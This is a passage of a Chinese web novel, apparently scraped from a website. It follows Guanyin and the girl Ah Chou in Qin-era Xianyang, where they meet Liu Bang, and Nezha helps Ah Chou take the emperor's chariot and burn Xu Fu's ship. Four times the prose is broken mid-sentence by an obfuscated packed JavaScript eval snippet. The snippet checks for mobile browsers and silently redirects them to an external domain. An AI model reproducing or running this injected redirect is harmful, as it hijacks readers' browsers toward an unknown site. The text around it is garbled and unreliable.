阿丑在自己心口抓了一把,然后拍到菩萨的心口,说:“喏,我的心分给你一块。”说完,又在菩萨的心口抓一把,在自己的心口拍了拍,说,“桀桀桀,我少了一块,所以要偷走你一块。” 做完这个偷心的举动,她想起和菩萨的约定,做坏事的话,老婆就一去不回了。 虽说在分开的这段时间里自己没少做坏事,可毕竟不是眼皮子底下,兴许老婆还不知道呢。此时当着他的面,要偷他的心,还大声说出来了。 “我这可不是干坏事!我是先给了你一块的,所以你的心没有少一块,只是……我的心里有你的一块,你的心里也有我的一块,还是两颗好的心,不算偷。” 阿丑在为自己的偷窃辩解,却不知这样的话语放在凡间是暧昧与情愫,心是不能乱给的,它掏不出来,却会自己悄悄飘走。 观音平静看着她,此纯粹不可以世俗情爱来看待,因而只淡笑应下。 “嗯。” 阿丑还是觉得心虚,她认为英娘教的偷窃办法是有效的,而且英娘肯定骗了自己,根本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645570|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没把自己被偷走的一块心还给自己。当她想起英娘的时候,自己的心里也会泛起微微的感觉,把想到变成了想念,甚至会想回到讨厌的小渔村去看看英娘,不知道她的病好了没。 “桀桀桀。”阿丑偷笑,一想到自己偷到了菩萨的一块心,心里就暖呼呼的,她小声地说,“老婆的心到了我心里,也有温度了。” 她抱着菩萨没松手,脑袋却心虚地扭向边上,假装在看人间风景。 云烟过眼,浮生如是。 观音垂眸看着阿丑的后脑勺,缓缓抬起白玉般的手,轻柔抚在她的头顶,叹一声慈悲。 阿丑小时候的苦,知道;长大后的恶,知道;她是为了沾光当神仙才积极参与考验,也知道;在分别的这段时间里,她又偷盗抢劫,也知道。 但不知道她前世如何。 佛家有言修来世,今生作恶来世赎罪,今生行善来世享福。 阿丑没有前世,她是人间的……新人。是许久没有诞生新魂魄的凡尘里,降生出来的一个全新的、没有经历过轮回的魂魄。 这是她降生于人间的,第一世。 没有前世,便没有前世作恶,却比前世罪大恶极者都要苦,丑脸到恐怖的面容,被父母都厌弃的粗鄙,俗世不顾她而形成的无知,所以一切仿佛都在诘问神佛。 众生平等吗? 度人,本该是让信众以今生修来世。但度阿丑,要修今生,唯有今生消解了苦厄不幸,才应了众生平等。 佛曰众生平等,并非众生真平等,而是众生要向平等去。 观音再次垂泪,化作蒙蒙春雨,润万物而发生机。 “哇!好气派的大屋子!”阿丑惊呼一声,打断了这悲天悯人的慈悲。 南蟾部洲与西牛贺洲不同,西牛贺洲有着很多国家,而南蟾部洲国家虽多,以中原之地为核心,所说国都无需特指哪一国,通常是指中原正统之王朝。 自天地封神八百年,如今南蟾部洲的王朝名为秦,国都名为咸阳。 观音受如来法旨,前来传度佛法。 秦皇帝一统六合有圣人之姿,如当年周武王姬发可为天下之主,然苛政暴戾民不聊生,又得纣王之骂名。 仙家有凡俗旁门求功名者,竟不顾人间疾苦,想授秦皇帝长生之法。 祥云在咸阳城外落地,菩萨轻掐法诀,与阿丑就都隐了身形,担心她犯了严律,先入城了解此朝百姓与君王百官的情况再看。 人间规矩之多,也是教阿丑是非善恶的机会。 15. 菩萨化缘 咸阳作为国都,能看见的景象比小渔村和那个不知名的小镇要多成百上千倍,这里的建筑是用石头木头搭建起来的,而不是泥土和稻草,只看着都觉得很安全。 “刚才在云上看到的大屋子,非常非常大,是谁的?”阿丑住着茅草屋,看到木屋不会有太多的情绪,看到石头屋则也想拥有,看到那气派至极的屋子,立刻就惦记上了。 观音解释说:“那是宫殿,居住着皇帝和他的妃子孩子,还有伺候他们的奴仆们。” “奴仆?”阿丑想起小渔村附近的一个镇子,有几户人家曾是越国的贵族,即便落魄了家里也有仆人奴隶。她去偷过几次,吃食比平常人家美味更多,偷窃也更难,还因此挨过打呢。 那些奴仆分明也怕她怕得要死,一边用木棍打她一边还说千万别怪他们,冤有头债有主,他们也是可怜人。 阿丑不理解,谁打她的当然就恨谁,她是被打的,为什么还要觉得别人可怜? “哼。”想到以前的事,阿丑撇撇嘴,又问,“奴仆我知道,妃子又是什么?连贵族家里都没有见过。” “妃子是只有皇帝王侯才有的。”观音回答,这人间后宫的制度繁复,要解释起来阿丑是听不懂的,所以概括为,“是他们除了妻子外,其他类似妻子的称呼。” 阿丑疑惑挠头,问:“意思是说,皇帝能有很多的老婆?那我能有几个?” “……”菩萨不答,听她这语气就像是多多益善。 阿丑见老婆不说话,又指着远处的宫殿问:“那个叫皇帝的,住的地方比我见过的屋子都大,还有很多老婆,那他一定还有更多的好东西。” “中原天下都是他的,七国的土地、人力、钱财、粮食,都是他的。” “人也是他的?”阿丑眨眨眼,很是惊讶,随后眉头紧皱似困惑似恼怒,“既然我人是他的,为什么我爹娘抛下我后,他没有给我送来吃的呢?别人家的鸡鸭都天天有东西吃呢,皇帝……哎呀!皇帝不就是弄了律条给人,到处要砍手的那个混蛋嘛!” 越想越生气,阿丑记仇着呢,就今年开春后不久的事情,她因为偷山芋差点被砍掉了手,那个负责砍手的人说都是皇帝定的。 阿丑恍惚了一下,明白当年那个打她的奴仆所说是什么意思了。 奴仆和游徼都做着自己不想做的事情……可是,他们为什么不拒绝呢?阿丑又不明白了,她肯定不会做自己不喜欢的事情。 “皇帝要砍我的手,那我去砍他的手。”阿丑已经飞快跑向那个漂亮宫殿,嘀咕着,“我也要住大房子,我也要有很多老婆。” 此时施有隐身法在,周围的人都看不到她,只感觉一阵风拂过。 “阿丑。”观音轻唤了一声,拂尘一卷,又将阿丑卷到了身边,“不可。此乃人间王朝都城,天子脚下,你若犯下大错,我也不能救你。” 仙佛惩治凡间王侯的事例并不少,但起因,绝对不能是偏私一人。 阿丑被制止,更生气了,试着挣开拂尘,道:“我要被砍手的时候你不来救我,我要去砍皇帝的手,你为什么救他?你明明是我老婆,又不是他老婆!是不是觉得他的房子更大,他的东西更多,你也要当他老婆了!他那么多老婆,我又要一个都没有了呀!你要是给他当老婆,我一把火将他家烧了!让他也什么都没了!” “阿丑。”观音眉头微拧,几分嗔怒,待阿丑冷静下来不说话了,才放柔和了神色,也因此发觉自己动了嗔戒,菩萨虽有金刚法相,对人向来只有慈悲,唯有罪大恶极或妖魔鬼怪,才会怒目相对。 怒阿丑,竟想犯下大罪。 观音叹一声,松开拂尘与她解释,“你在人间,需遵守人间的规矩,你偷盗在先,本身是错。” “我没错。”阿丑立刻反驳,“全天下都是他的,却要让我饿死,是他的错。” 观音默然,垂眸轻道:“我知晓。秦法严苛,偷盗者不论缘故,皆受处罚,重罪者剁手或足。不讲先因,不留仁慈,是他的错。我来国都,亦是因此。可即便律法不严,你偷盗也是过错。” “……”阿丑抿嘴不说话。 “阿丑。” “一模一样。”阿丑嘀咕着,“什么佛说偷盗重罪,不论缘故下阿鼻地狱,受油锅刑。不讲先因,不留仁慈。那个佛祖,哼。” 菩萨愕然。 阿丑气得跺脚,把两件事连在一起,又说:“我这辈子偷东西要被砍手,下地狱受苦,来世还因为偷过东西要受罚,又当一个没钱的阿丑,我还得去偷呀,又要砍我手!又要下地狱!来世的来世又因为偷过东西要受罚,我又是一个没钱的阿丑,我又得再偷东西不饿死,我……我怎么只能偷偷偷,罚罚罚。” 菩萨欲言又止,本想说人间有诸多谋生手段,务农打渔纺织,都能活下去。可这些事情都得有人教才会,她的爹娘都不愿意教她,何况无关的外人。 自从阿丑的爹娘离开小渔村后,本就不多的田地也被村民划走,一艘小船因无法分配被砸坏将木板分走。 ——“阿丑又不会种地!要田地做什么!” ——“阿丑又不会打渔!要小船做什么!” ——“她爹娘都带着儿子跑了,不管她死活了!等饿死了,村里可算少了个晦气的!对了,那间茅屋怎么分?” 菩萨的慧眼穿透时光,看到十岁的阿丑抱着彼时只有一半的钱罐子,浑浊的眼睛看着乡邻们的一举一动,不知那时在想些什么。 此时的阿丑说尽委屈的话语,浑浊的眼里却只有愤怒没有眼泪。她说她不爱哭,只有感觉到痛的时候眼泪才会控制不住。 她觉得委屈,但不觉得痛,其余的是愤怒和不甘。 “老婆,你告诉我呀。”阿丑见菩萨沉默,追问,“难道我只能饿死吗?难道我生生世世都要这样,一直去地狱受苦吗?” 若以修行者的要求来说,答案是:是。 唯有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651358|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁可饿死也不作恶的心境,方能为善。 但这个答案,无法对阿丑开口。 观音闭目,许久才又睁开,说:“我既要度你,就不会让你挨饿,若能吃饱饭,你就不能再偷窃。” 度人,本不该对人有任何承诺。 听到以后都能吃饱饭,阿丑的怒气消退了大半,连连点头说:“不偷了,肯定不偷了!”这点小事有什么难的,反正,她还可以抢的嘛! 话题虽止步于此,可阿丑心里还是好奇。人间律法严苛,神佛会来度人,人死后还要面对神佛定的律法,那般严苛,又有谁能度?地藏菩萨吗?既然会度,又为何不改律条。 肚子咕咕的叫声打断了她的思考,阿丑看向才说了不会让她饿肚子的老婆,期待能变一顿大餐出来。 岂料菩萨去除了隐身法术后变成了一个白胡须的清瘦老头,拿出一个陶钵盂,说:“我去给你化缘。” 化缘似乎很简单,拿着钵盂递到人面前,人们就往里面放吃的。 白胡须老头看着就仙气飘飘,极有眼缘,任谁见了都愿意行善换个心里高兴。菩萨化缘,是给人们一个结善缘的机会,为阿丑化缘,便是为阿丑结善缘。 菩萨将一碗面饼递到阿丑面前,阿丑接过来很快就吃完,她端着陶钵盂,说:“我也去化缘!” 阿丑出现在咸阳城的街道上,人们看到一个脏兮兮乱糟糟的人,很是嫌弃,立刻驱赶道:“臭要饭的,滚远点,这里可是天子脚下!” “把吃的都放进来!”阿丑见他们不理解端着钵盂的意思,恶狠狠地提出要求。 “你个臭要饭的,哪来的……啊!妖怪!”待人们看清了她的面貌后,则又尖叫起来,很快就有人去找守卫来捉妖怪。 阿丑没化到缘,很不服气,趁着摊子上的摊主们跑去找守卫了,直接抓了几块面饼放钵盂里,正要回头拿去分享给老婆,听到一阵嘈杂声。 是什么东西在地面快速奔跑的声音,声音很大,轰隆隆的。 一匹黑色的骏马拉着一辆三面围挡的板车,车上站着一个拿旗子的人,从城门的位置一路往皇宫的方向传递信息,扯开了嗓子宣告,神情严肃凶狠。 本想去禀报守卫的人们也纷纷退开到边上,让出一条道来。 “闲人避让——皇帝陛下巡狩回朝——闲人避让——拦路者死——” 阿丑好奇地盯着从未见过的动物,那匹马被阿丑一盯,余光瞥见阿丑也被吓了一跳。 “唏律律——”骏马受到惊吓,跑偏了道路,往着一队搬运石头的役吏撞去。 突发事故让众人慌作一团,那马匹强壮有力,随意踩到人都恐怕是要命。 役吏之中有人惊呼:“刘邦!快躲开!” 骏马高高扬起蹄子将要踩下,一白须老者牵住缰绳,马蹄轻轻落下。老者走到那丑陋的妖怪边上,拿走陶钵盂里的面饼放回去,摇摇头重叹了一声。 “阿丑。” 16. 一念之间 城中百姓们都僵在原地,不敢去关心那个差点被撞到的役吏,也不敢靠近那丑陋的妖怪,都紧张地盯着从车上摔下来的传信官。 骏马乱跑的时候后面的车驾绳脱裂,此时侧翻在地面,传信的官吏一只手折断,令旗也被车轱辘碾过撕裂。那官吏面色惨白,竟全然不顾自己的伤,慌乱又惶恐地试着将令旗拿起来,说:“陛下回朝,一会就要过来了!这、这可如何是好!” 这车驾是为皇帝开道,倘若这事办不好,皇帝陛下的车驾受阻,乃是大罪。 “我的手……”官吏哀嚎着,无人敢上前沾惹是非。 阿丑站了出来,她走上前将侧翻的车驾扶正,因为太重,胳膊还被裂开的木片划伤。 菩萨眼中的欣慰一闪而过,很快又噎住。 “有了这个,就不必走路了!”阿丑很是高兴地踩到车驾上,心想如果再要到一艘大船,以后陆路有这个,水路有大船,往哪去都方便很多。 周围百姓本就怕她的面容,此时看到她这肆无忌惮的举止,竟似要抢夺开道的车驾,便是抢皇帝的车驾呀! 观音无奈摇头,所化老者走上前将阿丑从车驾上牵下来,只轻吹一口清气,手臂上的伤就愈合了。 老者袖子一挥,地上的破裂木片也都飞回到了车驾上,竟自己修复成了全新的模样。缓步来到那传信的官吏面前,手悬在折断胳膊上拂过,那官吏便不再觉得痛,手也又能活动了。 “神仙?!”人们惊喜不已,视线又看向阿丑,喃喃道,“神仙怎么会和妖怪一起游走人间呢?” 那个差点被撞到名叫刘邦的役吏惊魂未定地站起来,没有先向救了命的老者道谢,而是先去向传信的官吏道歉。 “长官可安好?快些往前开道吧。” 传信官只能匆忙谢一声老神仙,鞭子抽在骏马身上,再次往前疾驰开道,高呼着闲人避让。 刘邦这才与老者道谢,观音只扫一眼,便知晓此人将来绝非寻常,又看向远处的宫殿,和这一队役吏搬运的石头,这是大兴土木扩建宫殿所用。 一根根木头,一块块石头,都是百姓的骨头和肉,也是秦朝一点点消耗的气数。 观音摇头,此时不宜传法,寺庙不能建在累累白骨之上。 “你叫什么名字。”菩萨明知故问,欲下批语。 刘邦正要回答,看见老者身边的丑妖怪正死死瞪着自己,想到一些山精妖怪会吃知晓名字之人的传说,刘邦便胡言乱语,说:“小人叫胡言。” 菩萨垂眸,缓缓道:“亡秦者,胡也。” 刘邦惊出一生冷汗,心想什么老神仙,分明是老骗子,幸好自己留了个心眼没说实话,要不然就被害死了!身边的同僚和百姓,不少人都听到了老神仙这句话,格外惊恐地交换视线。 说完这句话的菩萨带着阿丑再次隐去了身形。 “老婆,亡秦者是什么意思?为什么要和他说这句话?” 菩萨说:“传度佛法,机缘未到,此之后人,将供奉佛陀。” 阿丑疑惑,问:“你能知晓将来发生的事情?” 菩萨说:“修行圆满者,开慧眼,可窥前后之须臾。” 阿丑立刻指着自己的鼻子,说:“那我呢,我将来肯定又有钱,又有很多老婆,是不是?不过我肯定最喜欢的你啦。” “……”菩萨不语,可窥见两个须臾。 一个是冥顽不灵,不愿悔改的阿丑,将坠无间地狱,永无轮回,受尽地狱刑法。 一个是度化悔改,常持善心的阿丑,她得长生逍遥,亦向人间投怜悯,得正果修正道。 皆取决于她一念之间。 “是吗?是吗?”阿丑还在追问钱和老婆的问题。 两个情况,似乎哪个都不会有很多老婆。 为度她引导向善,菩萨打了诳语,说:“是,只要你虔诚向善,将来会有很多钱,有很多老婆。” “桀桀桀——”阿丑高兴地怪笑起来。 城门处一阵脚步声靠近,百姓们已经默然无声跪拜在地。 整齐划一的脚步踏在地面甚至有几分震动,一群穿着甲衣的士兵持着长矛开道,后面一架宝盖车缓缓驶来,上面坐着一个穿玄色衣裳的人。 跪拜在两侧的百姓们头也不敢抬,神情肃穆紧张,像是见到了极其可怕的人。 “这人就是皇帝?”阿丑看他样貌一点也不吓人,坐在宝盖车上笑着审视自己统治的子民们,笑容甚至还有些和善,完全看不出是他要求到处砍手。 “为什么大家这么怕他?比见到我还要害怕。”阿丑争强好胜的心又起来了,捋起袖子就要冲上去的架势,“他怎么连别人的害怕都要抢走!以后别人不害怕我了怎么办!” “阿丑。”菩萨无奈,道理说一万遍也只在左耳进右耳出,只能以阿丑的逻辑来引导,“你忘记我们的约定了吗,不可主动伤人,否则……” 菩萨顿了顿,说:“否则,我可回娘家去了。” “但是!”阿丑不甘心,气得跺脚。她拥有的东西不多,原本有一罐子钱,现在为了老婆已经把喜钱撒了。自己要是执着去砍皇帝的手,他们人多势众肯定打不过,没准自己的手没了。而老婆也会因为生气又回娘家,那自己就全没啦。 她心里不高兴,老婆却只是摇头。他就不能像别人家的老婆那样,主动贴贴自己说两句好话吗? 阿丑只好自己贴贴,她抬起自己的手掌,先是在额头贴贴,再是脸颊贴贴,然后细细密密把自己的脸用掌心轻轻拍打了一周。 “阿丑,你这是在做什么?”菩萨看不懂她举止的意思,拉过她的手查看掌心有什么,空空如也,什么也没有。 看着那双浑浊但真诚的眼睛,菩萨想起来手掌心里有什么了。 是那天在小渔村分别的时候。 “……”菩萨抿唇不语。 皇帝的宝盖车驾已经渐渐行远,阿丑回头看去,心里仍旧记恨着。羡慕那华丽威风的车驾,羡慕那宏伟高大的宫殿,也羡慕皇帝能有很多的老婆。 菩萨此来国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657951|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都,是知晓秦法严苛,想要以佛法讲仁慈。直接闯入宫殿并不合适,拦住车驾也不合适,帝王多猜疑,只有让皇帝自己相信邀请过去才行。 因此,之后几日需要做的就是以神佛的身份显露神迹,让急于长生不老的皇帝派人请进皇宫。顺便看看是人间哪个旁门弟子出的什么长生不老的办法。 都城诸多规矩,阿丑留在城内住着实在不放心,菩萨便带着阿丑到了城外一座荒废的信宫里,是供奉神像的地方。 虽称为宫,其实只有一个小房子。 天下局势混乱多年,百姓没有多余的食物供奉神像,门上的匾额早被摘下拿去当柴火,屋内能拆去用的东西基本都拆了,只有神像因是泥土塑造没什么用才得以保留。 屋顶破旧,下雨天漏水导致泥神像歪歪扭扭。 “这就是神像?”阿丑盯着歪歪扭扭的泥神像,想起小渔村外的山神所言,说她捏的菩萨不够虔诚,如今看来,认真塑造那么大一个神像,不还是和她捏的差不多嘛,根本认不出是谁来。 观音掐指一算,轻笑摇头,并未多言。 天色逐渐暗下去,菩萨端坐在地,破漏的屋顶投下来清幽月光,照在蒙蒙白纱与宝翠珠珀上,分不清是光照在身,还是身在发光。 阿丑睡不着,还在惦记着漂亮的大房子和威风的马车,她假装伸了个懒腰偷瞄打坐入定的老婆,见他闭目淡然纹丝不动,不知晓是不是睡着了。 “老婆?”阿丑小声唤了唤,没有应答,她又伸出手在眼前晃了晃,还是没反应。 老婆说,她要是主动伤人、偷窃、抢劫,就算是作恶,他就要回娘家。 阿丑告诉自己:我只是去借马车,只借一晚上转一圈,天亮了就还回去,不算偷!不算抢!更没有伤人! 她悄悄走出破旧信宫,犯难地挠挠头,可是没有老婆带路的话,她根本不知道该怎么进城,也不知道去哪找那辆马车。 好吧,先不惦记了。 阿丑扭头正要回破旧信宫里,撞到了一个有着同样莲花清香的漂亮女孩。 “啊,是——”阿丑惊呼一声,还没喊出名字就被对方捂住了嘴巴。 “嘘——别把菩萨吵醒了,我可不想见他们西天的任何一个人。”出现在眼前的正是哪吒,而这座可怜的、破败的、神像歪歪扭扭的信宫,曾经供奉着哪吒三太子。 阿丑还记得山神说过哪吒是杀神,而哪吒会往小渔村去,是为了捉拿一个偷东西的妖怪,哪吒在渔村肯定听到了很多自己的坏话。 待哪吒松开手,阿丑立刻就解释说:“我是睡不着出来走两步,没有要去偷马车。” “你要去偷马车?那可是皇帝的东西。”哪吒有自己的理解,此时竟和执法捉拿妖怪时完全不同,少了严肃,多了几分任性,“我还是人的时候,用箭射过那时候的王呢,嘿嘿嘿。” 阿丑没接话,听不懂所指的事。 哪吒玩心大起,脚下风火轮浮现,腰间混天绫往阿丑手上一绕,说:“走,我带你去偷!” 17. 杀神哪吒 哪吒在天上飞,和菩萨在天上飞完全不一样,菩萨有祥云可以载人,哪吒的风火轮则是自己踩着,寻常人或者是其他神佛想要驾驭风火轮是极难的,因此只能用混天绫带人飞。 阿丑大惊,这分明是想捆了自己!必定是小渔村那些人告状的。 阿丑气急败坏,咒骂起哪吒来:“亏你还是个神仙!杀我一个凡人算什么本事!他们说我是妖怪你信了,我还说他们全是妖怪呢!你就是瞧我没爹娘,没人帮我!” 骂着想起自己现在有老婆呢!连忙呼救道:“老婆救我呀——” 风火轮极快,只眨眼的功夫已经飞得又高又远,这点声音自然是听不到的。 漆黑的夜幕月色皎洁,月下的菩萨睁开眼,无需听见也已然知晓他们去处,不禁眉头拧起,阿丑不懂人间秩序也就罢了,哪吒竟来添乱。 高高的天空中,一道火红的光划破天际,阿丑感觉自己是要死了,那个砍手的游徼自己都挣不开,何况这个杀神。 她本想解释自己偷东西是不想饿死,吓唬村民是因为讨厌他们,总之不管对错都是有原因才那么做的。但山神说,杀神和菩萨不一样,只杀不渡,怎会在意什么原因。 阿丑便威胁道:“你要是杀了我,我变成鬼缠着你!每天晚上趁你睡着,就站到你眼前吓死你!” 哪吒乐呵一笑,说:“变成鬼?岂不是更怕我,我有红莲业火,邪祟不侵,鬼若缠着我,魂飞魄散。” 阿丑急得磨牙,这话也有道理,变成了鬼自然是更怕降妖除魔的杀神,那只能趁着自己还是人,还没死的时候,提前报仇了! “啊——唔!”阿丑张大嘴巴狠狠往哪吒手臂上一口,毕竟是肉身成圣的杀神岂会被凡人所伤,一口咬下去非但没破皮,倒是她牙疼。 阿丑没有因为牙疼而停下,这是她一个凡人唯一能对神仙做出的攻击了。 “哈哈哈哈哈哈。”哪吒笑得抱腹,看她浑浊的双眼里满是倔强愤怒,非但没觉得她固执叛逆,反倒是格外亲切。 阿丑以为自己被嘲笑自不量力,不甘心地更用力咬胳膊,牙齿根部逐渐有血渗出。 哪吒笑意收敛,有些恍惚,仿佛看到曾经那个割掉肉剃掉骨头也不认错的自己。 担心她再不松口把牙齿给崩断了,哪吒连忙说:“好了,好了,我虽是莲藕所塑,也不能把胳膊摘给你吃,是我怕你了,成吗?你的事情我都听说了,其实我觉得嘛,你没错。” 阿丑不由一愣,缓缓松开了嘴,问:“真的?你觉得我没错?奇怪,他们怎么会说我好话呢……” 哪吒简单将前些日子的见闻道来。 那天他在山头告别之后火速到了小渔村捉妖,那妖怪是一条毒蛇,偷盗丹药服下后升为了蛟,期间杀害了不少无辜凡人供它养元。那蛟被打伤逃窜,到小渔村藏着养伤蛰伏。 恶蛟被关进了九龙神火罩中,将送往三十三重离恨天,交给太上老君处置。 村民们都出来感谢哪吒,他的衣物宝贝都实在好认,一个个高呼哪吒三太子前来降妖除魔了。 “你们都认得我?”但是哪吒还奇怪,既然村里人人都认识他,为何那丑姑娘不认得。 村民们对妖怪被捉一事纷纷叫好,还说这妖怪在村里作恶多年,真是苍天开了眼将它除去,今后村子可就太平了,又说一个自称观音菩萨的前来,竟连妖怪都分辨不出。 被关在法宝里的恶蛟连连否认:“我昨日才逃到渔村来,怎能妄加罪责呢!” 在听了村民们的诸多控诉后才明白,原来他们将这妖怪当做是丑姑娘的原形。 哪吒不管凡人之间的恩怨,因此并未解释太多,带着恶蛟就要离开,被一名病弱的女子拦着。那女子拉着他的裙摆,怜悯地看着恶蛟,说:“哪吒大神,阿丑也是可怜人,她在小渔村多年只犯过一些偷盗,没有杀过人,你一定是弄错了。” 法宝里的恶蛟嘿嘿点头,说:“对对,我没杀过人。” 哪吒见这女子病重,所言又和村中其他人的都不一样,便发善心扶着她回到家中,又用法术治病,问起那个丑姑娘到底是怎么回事,怎还胡言乱语观音菩萨嫁给了她。 女子名叫英娘,言语间对阿丑充满了怜悯,将这些年自己视角对阿丑的认知和改观娓娓道来,也包括去年观音前来普度一事。 “我常后悔,如果我能早点用自己的眼睛去看阿丑,自己的耳朵去听阿丑,自己的心去了解阿丑,或许她日子好过些,不会现在那么坏。” “哦?”哪吒没觉得这算坏,人总得吃东西的嘛。和他当年跟随太乙修行时比起来,那是根本没法比……咳咳,想起自己年幼时犯的孽,哪吒没再多说什么,确定英娘病情痊愈后就带着恶蛟回天庭复命了。 交差之后,他到小渔村外去找山神,问那个丑姑娘怎么没留在这等着,山神说那姑娘听到他是杀神,只杀不渡,就头也不回地跑了。 “我杀妖怪又不杀人。”哪吒想着她跑了就算了,便回了天王殿歇着,没想到竟在一尊古老破旧的自己神像感知到观音菩萨降临。 于是来了此地。 知晓前因,阿丑愣了好一会,竟是先问:“英娘的病全好了?”听到这事后,阿丑感觉心里有一块石头落下,整个人都轻松了许多。 待哪吒点头确认后,阿丑才问自己的事,说:“你是只杀不渡的杀神,怎么会觉得我没错呢?我老婆是最慈悲的观音菩萨,都觉得是我错。” 哪吒挑挑眉,说:“他们佛家的观念……也不是,神佛的观念和我的观念不一样,反正这事嘛,我觉得是没错,嗯,我说没错就是没错。我还帮你教训了他们!” 阿丑浑浊的眼睛牢牢盯着哪吒,难以置信,这么久以来从来没有人这么坚定地说她没错,甚至愿意帮她教训别人。 “我让他们,哦,除了英娘以外。我让他们所有人的脑袋上都长了一个大脓包,需要每天都去你的茅屋打扫干净,但不许霸占,这样连着六六三十六天,大脓包方能消退。” “桀桀桀——”阿丑高兴地怪叫起来。 说话间,两人已经皇宫的上方。 已是深夜,宫中仍旧可以看到不少地方亮着灯火,守夜的侍卫站在各个门口,还有提着灯笼巡逻的。 只弹指间,哪吒已经带着阿丑来到的马厩,那匹黑色的骏马正在休息。 “去。”哪吒将混天绫的另一端将马儿卷走,又将车驾也卷走,趁没有人发现,带着阿丑往宽阔的城外平原去。 绳索套在骏马的脖子上,阿丑激动地跳到车驾上,学着那个开道的官吏喊着:“皇帝回朝咯——”高兴了一小会儿,阿丑看向哪吒试探地说,“老婆说皇帝是天下的主人,如果我得罪了他,神仙也救不了我。” 哪吒毫不在意,说:“什么得罪不得罪的,我施个法术,他们就算发现,也能让他们全都忘记。”说着收起风火轮,也落到了车驾上,他拿起缰绳呼一声驾。 缰绳在骏马耳边炸响,惊得立刻奔跑起来,在星夜空旷的平原上疾驰,明明是在地面,竟也似在天上飞,风擦着耳朵呼啦啦作响。 阿丑玩得尽兴,又贪心地说:“我还要一艘大船,你知道哪里可以找到大船吗?” “大船,当然要在海边找。”这难不倒哪吒,施法将马车还到了宫中,便又带着阿丑往最近的海岸飞去。 阿丑高兴极了,这才是有求必应的神仙嘛!但是为什么要帮自己呢,连老婆都不肯的事情,这个杀神又为什么这么大方呢?她直接问了哪吒,是不是仍旧因为盗窃之罪要杀她,所以临死前允许她享福。 “哈哈哈哈哈哈哈哈,你太有意思了。”哪吒大笑起来,回答说,“因为,我也觉得受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663954|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了欺负就该打回去,把他们打得满地找牙才好!怎么能被他们逼得干了坏事,却还要挨他们骂的?常怀慈悲心,那是对好人的,对坏人慈悲什么?对吧。” “对!”阿丑重重点头。 其实还有一个原因哪吒没说,那就是她没听过自己的故事,不会以一个俗世故事中“正义”、“善良”的形象去看待要求,倘若做出离经叛道的事情,便觉得失望了。 可是,他原本就不是个爱听话的。 深夜的海边凉风阵阵,阿丑闻到熟悉的和小渔村类似的海水味,眉头不由皱了一下。 海边有一些陌生简陋的建筑,只有微弱的灯火亮着,月光比灯火更明亮,可以看见有不少人走动。 一艘大船停靠在搭建起来的港口,一些守卫在附近巡逻,不远处的建筑里住着很多年少的男女,都穿着朴素的粗麻长衣、 “这艘船太大了,我带不走。”阿丑苦恼地说。她以为的大船,只比村中最大的渔船大些,能够放一些粮食,容纳几十个人。那样的船可以藏在河岸边上,用茂密的树木遮挡。 港口的守卫们闲聊着有关这艘船的事情。 是皇帝陛下为了长生不老,听信了一位名叫徐福的方士主意,正筹备童男童女各三千,将出海访求仙山,船上能容八千人,存放三年的粮食。 “仙山……神仙……长生不老……”阿丑立刻想到了落伽山。 她恶狠狠地想着事情,盯着这艘带不走的大船,问哪吒:“你踩着的冒火圈圈,能引火吗?” 哪吒笑了起来,说:“我也是这么想的,天上已经有个长生的玉帝够烦的了,人间要是再多一个长生不死的皇帝,肯定事情更多。” 说话间,一只风火轮便离了足下,绕着大船巡视一圈确保里面没有人,随即落在船只上,顿时燃起熊熊烈火。 “桀桀桀——”阿丑高兴地笑着,自己没有的,别人也不能有! 这事若放在老婆眼里,肯定是作恶。阿丑更觉得哪吒好,她拉过哪吒先前被她咬了一口的胳膊揉揉,说:“你比我老婆还要好,你要是也当我老婆就更好了。” 菩萨老婆温润如玉慈悲心肠,嘴上总是大道理说她错,可自己抱着他的时候格外平静舒适。 这个哪吒杀神,虽然凶名在外,看着就不好招惹,没想到心肠格外好,以后不怕抢人东西抢不过了,可以叫他去抢。 既然皇帝可以有很多老婆,那自己也该有。 